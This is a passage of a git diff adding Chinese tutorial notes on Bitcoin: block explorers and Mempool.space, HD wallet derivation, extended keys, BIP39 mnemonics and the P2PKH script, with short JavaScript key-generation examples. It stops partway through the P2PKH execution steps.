+-提供地址标签、交易备注等个性化功能，降低普通用户的理解门槛
+
+-支持多语言界面及移动端适配，提升访问便捷性
+
+
+3.5 功能完备性
+
+-开放API接口供第三方应用调用，例如获取地址余额或生成交易二维码
+
+-内置调试工具（如以太坊的Remix插件），简化智能合约开发流程
+
+-支持12种以上查询维度：地址资产图谱、双花交易检测、富豪地址追踪、Gas消耗分析等
+
+-集成链上分析工具：代币流向图谱、MEV交易监控、NFT元数据解析等进阶功能
+
+
+4.应用场景
+
+-普通用户：确认转账到账、验证钱包地址有效性
+
+-开发者：调试智能合约、监控合约事件日志
+
+-研究者：分析链上活动（如NFT交易趋势、DeFi协议资金流动）
+
+-监管机构：追踪非法交易（如洗钱）或调查黑客事件
+
+-交易验证：用户支付加密货币后，可通过浏览器确认交易是否成功上链
+
+-链上审计：监管机构利用浏览器追踪资金流向，打击洗钱行为
+
+-DApp开发：开发者分析热门合约的调用模式，优化产品设计
+
+-市场分析：投资者通过统计图表评估网络活跃度，辅助投资决策
+
+
+
+总结
+
+区块链浏览器作为连接用户与区块链网络的桥梁，通过高效的数据解析和可视化技术，实现了链上信息的透明化访问。其技术架构融合了分布式系统、数据库优化和前端交互设计，核心功能覆盖了从基础查询到智能合约调试的全场景需求。随着区块链技术的普及，浏览器将进一步向跨链聚合、隐私保护（如零知识证明集成）和AI数据分析等方向演进，成为Web3生态不可或缺的基础设施。
+
+
+
+下面以Mempool为例介绍常见区块链浏览器的具体内容和使用方式：
+
+Mempool.space 是一个开源的比特币区块链浏览器，提供了实时的区块链数据和交易信息,其核心功能与特性如下：
+
+1.核心定位
+
+专注比特币内存池可视化，展示全网待确认交易池状态
+
+提供链下交易动态追踪（区别于传统区块链浏览器侧重链上数据）
+
+
+2. 核心功能模块
+
+2.1交易池监控
+
+-实时显示全网未确认交易数量（典型范围：3万-30万笔）
+
+-按交易费率（sat/vB）分层统计交易分布（如0-1 sat、1-5 sat等区间）
+
+-可视化交易池容量变化曲线（支持1小时/24小时/7天时间维度）
+
+
+2.2费率预测
+
+-智能计算不同确认优先级所需费率（10分钟/3小时/24小时确认对应的建议费率）
+
+-动态调整预测模型，考虑区块空间竞争强度与矿工打包策略
+
+
+2.3交易溯源
+
+输入交易ID可查看其在内存池中的存活时间（最长滞留交易警示）
+
+展示交易在费率分层中的相对位置（前10%/50%等）
+
+
+2.4监控网络状态
+
+实时哈希率监测（单位：EH/s）
+
+区块间隔时间统计（最近10个区块平均出块时间）
+
+内存池交易总容量（按vMB和交易数量双维度展示）
+
+
+
+3. 技术实现特性
+
+-部署全球监测节点网络（超30个节点覆盖主要矿池区域）
+
+-采用流数据处理架构，延迟控制在2秒内（对比常规浏览器5-10秒延迟）
+
+-构建交易传播路径图谱（可视化交易在节点间的广播过程）
+
+
+
+4. 特色数据分析
+
+4.1矿工行为分析
+
+-识别矿池交易打包偏好（如特定矿池的费率优先级）
+
+-统计空区块产生频率与关联矿池
+
+4.2交易替换监控
+
+-检测RBF（费用替代）交易对原始交易的替换情况
+
+-标记CPFP（子为父付费）交易捆绑策略
+
+
+
+5. 用户场景
+
+-普通用户：优化交易费设置（避免超额支付或长时间滞留）
+
+交易所：监控提现交易状态（预估到账时间）
+
+开发者：调试交易广播策略（测试网络拥堵时的传播效率）
+
+研究人员：分析比特币网络健康度（内存池积压周期规律）
+
+该平台日均访问量超50万次（2024年数据），其提供的交易加速服务通过合作矿池实现优先打包，成功率可达92%。与同类工具（如mempool.observer）相比，其优势在于深度整合闪电网络数据，提供通道容量平衡状态的可视化分析。
+
+
+
+以下是如何使用 Mempool.space 的详细教程：
+
+1.访问 Mempool.space
+
+打开浏览器，访问 [Mempool.space](https://mempool.space/)
+
+
+2.主界面概览
+
+打开 mempool.space 后，主界面分为几个核心区域：
+
+-顶部导航栏：包含搜索框、网络切换（比特币主网/测试网）、语言设置等
+
+-实时手续费估算：显示当前不同优先级（高/中/低）交易的推荐手续费率（单位：sat/vB）
+
+-内存池交易列表：动态展示当前未确认交易的列表。每笔交易显示：
+               -手续费率（sat/vB）
+               -交易大小（KB）
+               -总手续费（BTC 或 satoshi）
+               -交易时间（多久前进入内存池）
+
+-最新区块：显示最新挖出的区块高度、包含的交易数量、矿工手续费等
+
+-矿工信息：展示近期区块的矿工（矿池）分布统计
+
+
+3.查看区块信息
+
+点击首页的区块高度链接，进入区块详情页面：
+
+-区块哈希：显示区块的哈希值 
+
+-时间戳：显示区块被挖出的时间
+
+-交易数量：显示区块中包含的交易数量
+
+-矿工奖励：显示矿工获得的奖励
+
+-区块大小：显示区块的大小，点击任意区块高度，可查看该区块的详细信息：
+         -区块哈希、时间戳、矿工（矿池）
+         -区块内包含的交易数量及总手续费
+         -区块大小、权重、Coinbase 交易（矿工奖励）
+
+-区块版本：显示区块的版本号
+
+
+4.查看交易信息
+
+在首页或区块详情页面，点击任意交易哈希，进入交易详情页面：
+
+-交易哈希：显示交易的哈希值
+
+-输入和输出：显示交易的输入和输出地址及金额
+
+-交易费：显示交易的手续费
+
+-确认状态：显示交易的确认状态和确认次数
+
+-交易大小：显示交易的大小
+
+-锁定时间：显示交易的锁定时间（如果有）
+
+-查看推荐手续费：在主界面中间的图表中，可以看到不同优先级（高/中/低）的手续费率（sat/vB）。图表横轴是时间，纵轴是手续费率，显示过去一段时间内的费率波动
+             -快速确认（绿色）：支付更高费率，交易可能在下一个区块被确认
+             -中等确认（黄色）：平衡费率，可能在1-6个区块内确认
+             -经济模式（红色）：最低费率，但可能需要等待更长时间
+
+-调整手续费模式：点击图表右上角的「经济模式」或「加速模式」，可切换手续费计算逻辑（保守型或激进型）
+
+
+5.使用搜索功能
+在页面顶部的搜索栏中输入区块哈希、交易哈希或比特币地址，按下回车键进行搜索：
+
+-搜索交易ID：在顶部搜索栏输入完整的交易哈希（Transaction Hash），即可查看该交易的详细信息，包括：
+           -确认状态（未确认/已确认的区块高度）
+           -输入/输出地址及金额
+           -手续费（总手续费、手续费率 sat/vB）
+           -交易体积（vBytes）和权重（Weight）
+
+-区块哈希：显示对应区块的详细信息
+
+-交易哈希：显示对应交易的详细信息
+
+-比特币地址：输入比特币地址，可查看该地址的余额、交易历史记录（转入/转出）、UTXO（未花费的交易输出）等
+
+
+6.高级功能
+
+-替换手续费（RBF）和子父手续费（CPFP）:
+               -如果一笔未确认交易支持 RBF（Replace-By-Fee），可在交易详情页点击「IncreaseFee」重新广播更高手续费的交易。
+               -如果交易有找零输出，可通过 CPFP（Child-Pays-For-Parent）创建子交易支付更高手续费，加速父交易确认。
+
+-自建节点监控:Mempool.space 支持连接到自己的比特币全节点（需在设置中配置），实现私有化监控
+
+-实时图表：在首页底部可以看到实时更新的图表，包括交易费率、内存池大小等
+
+-API 接口：Mempool.space 提供了 API 接口，开发者可以使用这些接口获取区块链数据。可以在 [API 文档](https://mempool.space/docs/api) 中找到详细信息
+
+-自定义设置：在页面右上角的设置图标中，可以调整显示语言、主题（浅色或深色）等个性化设置。
+
+
+
+Reference: -[how-to-use-mempool-space-block-explorer](https://bitcoinbriefly.com/how-to-use-mempool-space-block-explorer/)
diff --git a/BTC/Basic/explorer/imgs of mempool/1.Dashboard.png b/BTC/Basic/explorer/imgs of mempool/1.Dashboard.png
new file mode 100644
index 000000000..2731280ea
Binary files /dev/null and b/BTC/Basic/explorer/imgs of mempool/1.Dashboard.png differ
diff --git a/BTC/Basic/explorer/imgs of mempool/2.Accelerator dashboard.png b/BTC/Basic/explorer/imgs of mempool/2.Accelerator dashboard.png
new file mode 100644
index 000000000..61fce9832
Binary files /dev/null and b/BTC/Basic/explorer/imgs of mempool/2.Accelerator dashboard.png differ
diff --git a/BTC/Basic/explorer/imgs of mempool/3.Mining dashboard.png b/BTC/Basic/explorer/imgs of mempool/3.Mining dashboard.png
new file mode 100644
index 000000000..5ccae25e0
Binary files /dev/null and b/BTC/Basic/explorer/imgs of mempool/3.Mining dashboard.png differ
diff --git a/BTC/Basic/explorer/imgs of mempool/4.Lightning explorer.png b/BTC/Basic/explorer/imgs of mempool/4.Lightning explorer.png
new file mode 100644
index 000000000..a760b8f12
Binary files /dev/null and b/BTC/Basic/explorer/imgs of mempool/4.Lightning explorer.png differ
diff --git a/BTC/Basic/explorer/imgs of mempool/5.Documentation.png b/BTC/Basic/explorer/imgs of mempool/5.Documentation.png
new file mode 100644
index 000000000..1f7c17ec5
Binary files /dev/null and b/BTC/Basic/explorer/imgs of mempool/5.Documentation.png differ
diff --git a/BTC/Basic/explorer/imgs of mempool/6.Graphs.png b/BTC/Basic/explorer/imgs of mempool/6.Graphs.png
new file mode 100644
index 000000000..8e7e822c8
Binary files /dev/null and b/BTC/Basic/explorer/imgs of mempool/6.Graphs.png differ
diff --git a/BTC/Basic/hdwallet/README.md b/BTC/Basic/hdwallet/README.md
new file mode 100644
index 000000000..b1562429c
--- /dev/null
+++ b/BTC/Basic/hdwallet/README.md
@@ -0,0 +1,37 @@
+HD钱包，全称为分层确定性钱包（Hierarchical Deterministic Wallet），是一种通过单一的种子（Seed）生成和管理多个密钥对的数字钱包。这种结构使得用户只需备份一次种子，即可控制所有衍生出的私钥和公钥，极大地简化了密钥管理的复杂性。
+
+**HD钱包的主要特点：**
+
+1. **分层结构：** HD钱包采用树状结构，根节点由主密钥（Master Key）组成，子节点为从主密钥派生出的子密钥。这种分层设计允许用户根据需要生成不同层级的密钥，方便管理和分配。 
+
+2. **确定性：** 通过相同的种子，HD钱包可以生成相同的密钥序列。这意味着只要备份了种子，就可以在任何时候恢复所有的密钥和地址。 
+
+3. **增强的隐私性：** HD钱包可以为每笔交易生成不同的地址，避免重复使用同一地址，从而提高交易的隐私性。 
+
+**HD钱包的工作原理：**
+
+- **种子生成：** 用户首先生成一个随机数作为种子，通常通过助记词（Mnemonic）表示。助记词是一组易于记忆的单词序列，用于表示种子。 
+
+- **主密钥派生：** 通过种子，使用特定的算法（如HMAC-SHA512）生成主私钥和主公钥。
+
+- **子密钥派生：** 从主密钥可以派生出多个子密钥，每个子密钥又可以派生出自己的子密钥，形成树状结构。这种派生过程可以根据需要进行多层次的扩展。 
+
+**HD钱包的优势：**
+
+- **简化备份：** 用户只需备份一次种子或助记词，即可恢复所有的密钥和地址，避免了逐个备份每个私钥的麻烦。
+
+- **灵活的密钥管理：** 分层结构允许用户根据不同的用途或账户生成不同的子密钥，方便管理。
+
+- **增强的安全性：** 通过生成不同的地址，减少了地址关联性，提升了交易的隐私性和安全性。
+
+**HD钱包的标准：**
+
+HD钱包的概念最早由BIP32提案提出，随后BIP39引入了助记词的标准，BIP44则定义了多币种、多账户的路径标准。这些标准共同构建了当前HD钱包的基础。 
+
+**注意事项：**
+
+- **妥善保管助记词：** 助记词是恢复钱包的唯一凭证，一旦丢失或泄露，可能导致资产无法找回或被盗。
+
+- **定期备份：** 虽然HD钱包简化了备份过程，但仍需定期检查备份的有效性，确保在需要时能够成功恢复。
+
+总的来说，HD钱包通过分层确定性的设计，提供了高效、安全且灵活的密钥管理方式，已成为当前数字货币钱包的主流选择。 
\ No newline at end of file
diff --git a/BTC/Basic/hdwallet/derive.md b/BTC/Basic/hdwallet/derive.md
new file mode 100644
index 000000000..442c1585c
--- /dev/null
+++ b/BTC/Basic/hdwallet/derive.md
@@ -0,0 +1,124 @@
+HD钱包（Hierarchical Deterministic Wallet）通过分层确定性结构生成和管理密钥对。其核心在于通过种子生成主密钥，然后通过分层推导生成多个子密钥。这种方式使得密钥管理变得简单、安全，用户只需备份种子即可恢复整个钱包。以下是HD钱包的详细技术细节和子密钥推导过程。
+
+### 1. **HD钱包结构概述**
+- **种子（Seed）**：HD钱包从一个随机生成的种子开始，该种子通过助记词（BIP39）表示。
+- **主密钥（Master Key）**：由种子生成，包含主私钥、主公钥和链码。
+- **链码（Chain Code）**：用于生成子密钥，是密钥派生过程中的关键成分。
+- **子密钥**：从主密钥派生而来，每个子密钥都有自己的私钥、公钥和链码。
+
+### 2. **种子生成**
+- **助记词**：助记词由熵（随机位数）通过哈希和校验生成。例如，一个128位的熵可以生成12个助记词。
+- **种子生成算法**：
+  - 助记词经过PBKDF2（Password-Based Key Derivation Function 2）算法与一个盐值（通常是 `mnemonic` + 密码短语）组合，生成512位种子。
+
+### 3. **主密钥生成**
+- 使用HMAC-SHA512算法，以种子作为输入，和常量字符串“Bitcoin seed”作为HMAC密钥来生成512位输出。
+- 输出前256位为主私钥（`m`），后256位为链码（`c`）。
+  
+  **HMAC计算公式**：
+  ```
+  I = HMAC-SHA512(key="Bitcoin seed", data=seed)
+  ```
+  ```
+  master_private_key = I[0:32]
+  master_chain_code = I[32:64]
+  ```
+
+### 4. **子密钥推导过程**
+子密钥推导是HD钱包中生成子密钥的核心过程，可以通过**标准派生**和**硬化派生**来实现。
+
+#### a. **标准派生（Non-hardened derivation）**
+- 使用父公钥和链码推导子公钥，公钥和链码可以生成下一级的公钥链，但无法推导出私钥。
+- 算法：
+  ```
+  I = HMAC-SHA512(key=cpar, data=serP(Kpar) || ser32(i))
+  ```
+  - `cpar`：父链码。
+  - `serP(Kpar)`：父公钥的序列化形式。
+  - `ser32(i)`：索引值的32位表示。
+  - `I` 分成两部分：`IL`（左半部分）和 `IR`（右半部分）。
+
+- 子私钥计算公式：
+  ```
+  ki = (IL + kpar) % n
+  ci = IR
+  ```
+  - `ki`：子私钥。
+  - `n`：椭圆曲线的阶。
+
+#### b. **硬化派生（Hardened derivation）**
+- 使用父私钥生成子私钥。硬化派生增加了安全性，不能从子公钥推导出父密钥。
+- 算法：
+  ```
+  I = HMAC-SHA512(key=cpar, data=0x00 || ser256(kpar) || ser32(i))
+  ```
+  - `0x00` 前缀用于表示该派生使用的是私钥。
+  - `kpar` 是父私钥。
+  - `ci = IR` 是子链码。
+
+- 子私钥计算公式：
+  ```
+  ki = (IL + kpar) % n
+  ci = IR
+  ```
+
+### 5. **路径表示**
+BIP44引入了用于多币种和多账户的标准路径表示：
+```
+m / purpose' / coin_type' / account' / change / address_index
+```
+- **`purpose'`**：通常为44'，表示使用BIP44规范。
+- **`coin_type'`**：用于区分不同的加密货币，比如0'代表比特币，60'代表以太坊。
+- **`account'`**：账户编号，用于分离不同的账户。
+- **`change`**：0表示外部地址，1表示找零地址。
+- **`address_index`**：地址在账户中的索引。
+
+同时在BIP49和BIP84中也基于BIP44做了扩展，形成我们现在经常见到的BTC多个地址
+
+#### Legacy地址 - BIP44
+![Legacy:BIP44](./imgs/hd-wallets-derivation-paths-bip44.png)
+
+#### P2SH地址 - BIP49
+![Legacy:BIP49](./imgs/hd-wallets-derivation-paths-bip49.png)
+
+#### P2WPKH地址 - BIP84
+![Legacy:BIP84](./imgs/hd-wallets-derivation-paths-bip84.png)
+
+
+### 6. **ECC与HD钱包**
+HD钱包使用椭圆曲线加密（Elliptic Curve Cryptography, ECC）来确保公钥和私钥的安全性。公钥由私钥通过椭圆曲线点乘生成。标准加密算法如 `secp256k1` 在HD钱包中被广泛使用。
+
+**公钥生成公式**：
+```
+P = k * G
+```
+- `P` 是公钥，`k` 是私钥，`G` 是椭圆曲线的生成点。
+
+### 7. **实现细节示例**
+使用JavaScript库实现HD钱包的生成和子密钥推导：
+
+```javascript
+const bip32 = require('bip32');
+const bip39 = require('bip39');
+
+// 生成助记词和种子
+const mnemonic = bip39.generateMnemonic();
+const seed = bip39.mnemonicToSeedSync(mnemonic);
+
+// 从种子生成HD钱包根节点
+const root = bip32.fromSeed(seed);
+
+// 派生路径：m/44'/0'/0'/0/0
+const child = root.derivePath("m/44'/0'/0'/0/0");
+
+console.log('助记词:', mnemonic);
+console.log('子公钥:', child.publicKey.toString('hex'));
+console.log('子私钥:', child.toWIF());
+```
+
+### 8. **安全性与注意事项**
+- **助记词备份**：确保助记词安全存储，一旦丢失或泄露，可能导致资产永久损失或被盗。
+- **硬化派生的使用**：硬化派生确保公钥无法推导出父级私钥，提高了安全性，建议在生成重要的子密钥时使用。
+
+### **总结**
+HD钱包通过分层结构和确定性算法，为用户提供了简单的密钥管理方式。其分层树结构和子密钥推导机制使得一个种子就能生成无限数量的私钥和公钥，极大地提高了用户体验和安全性。
\ No newline at end of file
diff --git a/BTC/Basic/hdwallet/extendKeys.md b/BTC/Basic/hdwallet/extendKeys.md
new file mode 100644
index 000000000..9102d4de8
--- /dev/null
+++ b/BTC/Basic/hdwallet/extendKeys.md
@@ -0,0 +1,104 @@
+HD钱包中的**扩展公钥（Extended Public Key, xPub）**和**扩展私钥（Extended Private Key, xPriv）**是BIP32标准的一部分，它们是用于派生子密钥和管理钱包的关键概念。以下是它们的详细技术介绍。
+
+### 1. **扩展密钥的定义**
+- **扩展私钥（xPriv）**：包含私钥和链码的信息，允许派生出子私钥和子公钥。
+- **扩展公钥（xPub）**：包含公钥和链码的信息，只能派生出子公钥，无法推导出私钥。
+
+![extend keys](./imgs/hd-wallets-extended-keys.png)
+
+### 2. **扩展密钥的组成**
+扩展密钥不仅包括公钥或私钥，还包括链码（Chain Code）、路径信息等，以支持分层确定性派生。扩展密钥的完整组成如下：
+
+- **公钥/私钥**：用于加密和签名的密钥。
+- **链码**：确保子密钥派生时的不可预测性，提供额外的随机性。
+- **深度（Depth）**：当前密钥的层级深度，根节点为0。
+- **父公钥指纹（Parent Fingerprint）**：标识父密钥，用于防止路径冲突。
+- **索引（Index）**：指示该密钥在父密钥下的派生索引。
+- **版本（Version）**：指示密钥类型（xPub 或 xPriv）。
+- **校验和**：用于验证密钥完整性。
+
+### 3. **扩展密钥的编码格式**
+扩展密钥通常以Base58Check格式进行编码，确保其易于人类读取和传输。Base58Check编码避免了易混淆的字符（如0和O，l和I）。编码后的扩展密钥通常以以下前缀开头：
+- **xPub**：用于表示扩展公钥。
+- **xPriv**：用于表示扩展私钥。
+
+#### **编码示例**
+扩展密钥的编码格式如下：
+```
+[version (4 bytes)][depth (1 byte)][parent fingerprint (4 bytes)][child number (4 bytes)]
+[chain code (32 bytes)][key data (33 bytes)][checksum (4 bytes)]
+```
+
+### 4. **生成扩展私钥和扩展公钥**
+#### a. **生成扩展私钥**
+扩展私钥是通过HMAC-SHA512生成的。算法步骤如下：
+- 生成主私钥和链码时，将种子输入HMAC-SHA512，并使用“Bitcoin seed”作为密钥。
+- 输出前32字节是私钥，后32字节是链码。
+
+#### b. **生成扩展公钥**
+从扩展私钥可以生成扩展公钥，通过椭圆曲线加密（ECC）运算将私钥转换为公钥。
+
+**扩展公钥生成步骤**：
+- 取扩展私钥的前32字节（私钥部分），并将其转换为公钥。
+- 保留链码和其他元数据。
+
+### 5. **子密钥派生过程**
+扩展密钥的强大之处在于，它们支持通过链码进行分层确定性派生，生成子密钥而不需要暴露父级的私钥。
+
+#### a. **从扩展私钥派生子私钥**
+扩展私钥可以派生子私钥和子公钥。
+- **算法**：
+  ```
+  I = HMAC-SHA512(key=parent_chain_code, data=0x00 || parent_private_key || child_index)
+  ```
+  - `I` 的前32字节用作派生的子私钥的一部分，后32字节用作新的子链码。
+  - 子私钥公式：`child_private_key = (IL + parent_private_key) % n`。
+
+#### b. **从扩展公钥派生子公钥**
+扩展公钥只能派生子公钥，无法反推出私钥，确保了安全性。
+- **算法**：
+  ```
+  I = HMAC-SHA512(key=parent_chain_code, data=parent_public_key || child_index)
+  ```
+  - 子公钥通过公钥加法计算得出。
+  - 子公钥公式：`child_public_key = G * IL + parent_public_key`（`G` 为椭圆曲线生成点）。
+
+  
+![why-it-works](./imgs/hd-wallets-extended-keys-why-it-works.png)
+
+### 6. **硬化派生与标准派生**
+- **硬化派生**（Hardened Derivation）：只能通过扩展私钥派生，子公钥无法通过扩展公钥派生出来，增加了安全性。索引大于等于 `2^31` 的值用于硬化派生。
+- **标准派生**（Non-Hardened Derivation）：可以通过扩展公钥派生出子公钥，索引小于 `2^31`。
+
+### 7. **用途和安全性**
+- **xPub的应用**：适用于公开应用，如钱包软件中用来显示和管理多个收款地址。通过扩展公钥，第三方可以生成新的地址而不接触私钥。
+- **xPriv的应用**：仅用于安全环境，绝不能公开，以防止密钥泄露。
+
+**安全注意事项**：
+- **保护扩展私钥**：xPriv的泄露意味着整个密钥树的私钥都处于危险中。
+- **使用硬化派生**：在可能被公开的路径中，建议使用硬化派生来确保私钥安全。
+
+### 8. **示例代码**
+以下是使用JavaScript库生成扩展密钥的示例代码：
+
+```javascript
+const bip32 = require('bip32');
+const bip39 = require('bip39');
+
+// 生成助记词和种子
+const mnemonic = bip39.generateMnemonic();
+const seed = bip39.mnemonicToSeedSync(mnemonic);
+
+// 生成根节点
+const root = bip32.fromSeed(seed);
+
+// 获取扩展公钥和扩展私钥
+const xPriv = root.toBase58();
+const xPub = root.neutered().toBase58();
+
+console.log('扩展私钥 (xPriv):', xPriv);
+console.log('扩展公钥 (xPub):', xPub);
+```
+
+### **总结**
+扩展公钥（xPub）和扩展私钥（xPriv）是HD钱包中的核心概念，提供了派生和管理子密钥的能力。xPriv 可以派生子私钥和子公钥，而 xPub 只能派生子公钥。使用这些扩展密钥，用户和开发者可以实现灵活的密钥管理，同时保证密钥的安全性。
\ No newline at end of file
diff --git a/BTC/Basic/hdwallet/imgs/entry-to-mnemonic.png b/BTC/Basic/hdwallet/imgs/entry-to-mnemonic.png
new file mode 100644
index 000000000..6c910099d
Binary files /dev/null and b/BTC/Basic/hdwallet/imgs/entry-to-mnemonic.png differ
diff --git a/BTC/Basic/hdwallet/imgs/hd-wallets-derivation-paths-bip44.png b/BTC/Basic/hdwallet/imgs/hd-wallets-derivation-paths-bip44.png
new file mode 100644
index 000000000..53548c84e
Binary files /dev/null and b/BTC/Basic/hdwallet/imgs/hd-wallets-derivation-paths-bip44.png differ
diff --git a/BTC/Basic/hdwallet/imgs/hd-wallets-derivation-paths-bip49.png b/BTC/Basic/hdwallet/imgs/hd-wallets-derivation-paths-bip49.png
new file mode 100644
index 000000000..bd1db95d5
Binary files /dev/null and b/BTC/Basic/hdwallet/imgs/hd-wallets-derivation-paths-bip49.png differ
diff --git a/BTC/Basic/hdwallet/imgs/hd-wallets-derivation-paths-bip84.png b/BTC/Basic/hdwallet/imgs/hd-wallets-derivation-paths-bip84.png
new file mode 100644
index 000000000..fc6667196
Binary files /dev/null and b/BTC/Basic/hdwallet/imgs/hd-wallets-derivation-paths-bip84.png differ
diff --git a/BTC/Basic/hdwallet/imgs/hd-wallets-extended-keys-why-it-works.png b/BTC/Basic/hdwallet/imgs/hd-wallets-extended-keys-why-it-works.png
new file mode 100644
index 000000000..79cb14a13
Binary files /dev/null and b/BTC/Basic/hdwallet/imgs/hd-wallets-extended-keys-why-it-works.png differ
diff --git a/BTC/Basic/hdwallet/imgs/hd-wallets-extended-keys.png b/BTC/Basic/hdwallet/imgs/hd-wallets-extended-keys.png
new file mode 100644
index 000000000..4615602eb
Binary files /dev/null and b/BTC/Basic/hdwallet/imgs/hd-wallets-extended-keys.png differ
diff --git a/BTC/Basic/hdwallet/imgs/mnemonic-to-seed.jpeg b/BTC/Basic/hdwallet/imgs/mnemonic-to-seed.jpeg
new file mode 100644
index 000000000..664314fae
Binary files /dev/null and b/BTC/Basic/hdwallet/imgs/mnemonic-to-seed.jpeg differ
diff --git a/BTC/Basic/hdwallet/imgs/seed-to-root.png b/BTC/Basic/hdwallet/imgs/seed-to-root.png
new file mode 100644
index 000000000..dfdbb47d4
Binary files /dev/null and b/BTC/Basic/hdwallet/imgs/seed-to-root.png differ
diff --git a/BTC/Basic/hdwallet/mnemonic.md b/BTC/Basic/hdwallet/mnemonic.md
new file mode 100644
index 000000000..9d358a867
--- /dev/null
+++ b/BTC/Basic/hdwallet/mnemonic.md
@@ -0,0 +1,88 @@
+HD钱包中的助记词（Mnemonic Phrase）是一组人类可读的单词，用来表示随机生成的种子。助记词为用户提供了一个易于备份和恢复的钱包方式，极大地简化了复杂的密钥管理。以下是HD钱包助记词的详细技术原理：
+
+### 1. **助记词的定义和作用**
+助记词是一串用来帮助用户记忆种子的单词序列。HD钱包使用助记词来生成用于派生密钥的种子，因此只要备份助记词，就可以恢复整个钱包的密钥树。
+
+### 2. **助记词生成的步骤**
+助记词生成过程基于BIP39标准，涉及以下步骤：
+
+#### a. **生成熵（Entropy）**
+- **熵的定义**：熵是用于随机生成助记词的随机位序列。常见的熵长度有128位、160位、192位、224位和256位。
+- **例子**：假设熵为128位，它会生成12个单词的助记词。
+
+#### b. **计算校验和（Checksum）**
+- 将熵进行SHA-256哈希，取哈希结果的前 `ENT / 32` 位作为校验和，其中 `ENT` 是熵的位长度。
+- **例子**：如果熵是128位，则校验和为 `128 / 32 = 4` 位。
+
+#### c. **组合熵和校验和**
+- 将原始熵和校验和组合，形成一个新的位序列。例如，128位熵加上4位校验和形成132位序列。
+
+#### d. **分割为11位块**
+- 将132位的位序列分割为多个11位的块，每个块可以表示0到2047之间的一个数字。
+- 这些数字用于从一个2048个单词的字典（BIP39单词表）中查找对应的单词。
+
+
+![entry-to-mnemonic.png](./imgs/entry-to-mnemonic.png)
+
+### 3. **BIP39单词表**
+- **固定单词表**：BIP39定义了一个包含2048个单词的标准单词表。这些单词具有以下特点：
+  - 每个单词都有明确的拼写，不易混淆。
+  - 单词表的不同语言版本保持一致性，但使用的是本地语言词汇。
+
+### 4. **种子生成**
+助记词本身并不能直接用于密钥派生。助记词需要经过密码学处理生成一个种子，种子用来生成HD钱包的主私钥和链码。
+
+#### a. **PBKDF2函数**
+- 助记词通过PBKDF2-HMAC-SHA512算法与一个盐值组合，生成512位种子。
+- **盐值**：通常是 `mnemonic` 加上一个用户提供的密码短语（可选），增强了安全性。
+- **算法**：
+  ```text
+  seed = PBKDF2(mnemonic, "mnemonic" + passphrase, 2048, 64, HMAC-SHA512)
+  ```
+
+
+![mnemonic-to-seed.png](./imgs/mnemonic-to-seed.jpeg)
+
+
+### 5. **助记词的恢复**
+当用户输入助记词进行恢复时，钱包软件会执行以下步骤：
+- 将助记词映射回原始熵和校验和。
+- 验证助记词是否有效（检查校验和）。
+- 使用PBKDF2函数将助记词和用户输入的密码短语（如果有）转换为种子。
+- 通过该种子生成HD钱包的主私钥和链码，从而恢复整个密钥树。
+
+
+![seed-to-root.png](./imgs/seed-to-root.png)
+
+
+### 6. **助记词的优点**
+- **易于记忆和备份**：助记词比纯随机的密钥更容易记住和存储。
+- **便于恢复**：只要用户保留助记词，就可以在任何支持BIP39的HD钱包中恢复整个钱包。
+- **增加安全性**：通过密码短语增强了助记词的安全性。如果助记词被泄露，攻击者仍然需要知道密码短语才能恢复钱包。
+
+### 7. **助记词的安全注意事项**
+- **备份和存储**：助记词应以离线方式备份，如写在纸上并存放在安全的地方。不要将助记词存储在联网设备上。
+- **密码短语**：使用一个复杂且不易猜测的密码短语可以大大提高安全性，即使助记词被盗，攻击者也无法轻易访问钱包。
+- **防止物理和电子威胁**：确保助记词的存储位置防范火灾、盗窃或电子攻击。
+
+### 8. **技术示例**
+以下是使用JavaScript库生成助记词和种子的示例代码：
+
+```javascript
+const bip39 = require('bip39');
+
+// 生成12个单词的助记词
+const mnemonic = bip39.generateMnemonic();
+console.log('助记词:', mnemonic);
+
+// 验证助记词是否合法
+const isValid = bip39.validateMnemonic(mnemonic);
+console.log('助记词是否合法:', isValid);
+
+// 将助记词转换为种子
+const seed = bip39.mnemonicToSeedSync(mnemonic, '可选的密码短语');
+console.log('生成的种子:', seed.toString('hex'));
+```
+
+### **总结**
+HD钱包的助记词系统提供了一种安全、便捷的方式来管理和恢复钱包。助记词通过熵、校验和、PBKDF2算法生成种子，从而衍生出一棵密钥树。理解助记词的原理有助于用户更好地保护自己的数字资产，同时也能帮助开发者实现符合BIP39标准的钱包应用。
\ No newline at end of file
diff --git a/BTC/Basic/payment/P2PKH.md b/BTC/Basic/payment/P2PKH.md
new file mode 100644
index 000000000..8a086dba0
--- /dev/null
+++ b/BTC/Basic/payment/P2PKH.md
@@ -0,0 +1,87 @@
+# 简介
+
+[P2PKH（Pay-to-Public-Key-Hash）](../wallet/address.js#L42)是比特币网络中最常用的一种交易类型，设计用来将比特币支付到某个具体的公钥哈希，而不是直接到公钥本身。这种方式提供了更高的安全性和隐私保护。在P2PKH交易中，比特币被发送到一个地址，这个地址实际上是持有者公钥的哈希版本。这种地址通常以数字"1"开头。地址不仅简洁，而且通过哈希公钥，隐藏了公钥的实际内容，增加了隐私保护层。
+
+# 工作过程
+
+## ScriptPubKey(锁定脚本)
+
+P2PKH脚本模式包含一个公钥哈希，该哈希和以下操作码共同构成锁定脚本
+
+```js
+// 模版
+OP_DUP OP_HASH160 <Public Key Hash> OP_EQUALVERIFY OP_CHECKSIG
+
+OP_DUP // 复制栈顶的元素
+OP_HASH160 // 弹出栈顶元素，计算其SHA-256散列，然后计算RIPEMD-160散列
+OP_PUSHBYTES_20 // 推送20字节的公钥哈希到栈顶
+18e1fad25b2983d5dbb2e2b96e3ce756a69b3bc2 // 公钥哈希
+OP_EQUALVERIFY // 比较栈顶元素是否匹配
+OP_CHECKSIG // 验证数字签名
+
+```
+
+## ScriptSig(解锁脚本)
+
+要解锁花费此脚本，上面公钥的所有者需要提供原始公钥以及的有效签名
+
+```js
+// 模版
+<Singature> <Public Key>
+
+OP_PUSHBYTES_72 // 推送72字节到栈顶
+3045022100c233c3a8a510e03ad18b0a24694ef00c78101bfd5ac075b8c1037952ce26e91e02205aa5f8f88f29bb4ad5808ebc12abfd26bd791256f367b04c6d955f01f28a772401 // 签名数据
+OP_PUSHBYTES_33 // 推送33字节到栈顶
+03480b6822120e9936b43859d84c380583c3d0292409b21453ae962815090f8117 // 压缩公钥
+```
+
+## 执行过程
+
+1. 脚本合并，ScriptSig在前ScriptPubKey在后
+
+```js
+<Singature> <Public Key> OP_DUP OP_HASH160 <Public Key Hash> OP_EQUALVERIFY OP_CHECKSIG
+```
+
+2. 栈内执行
+
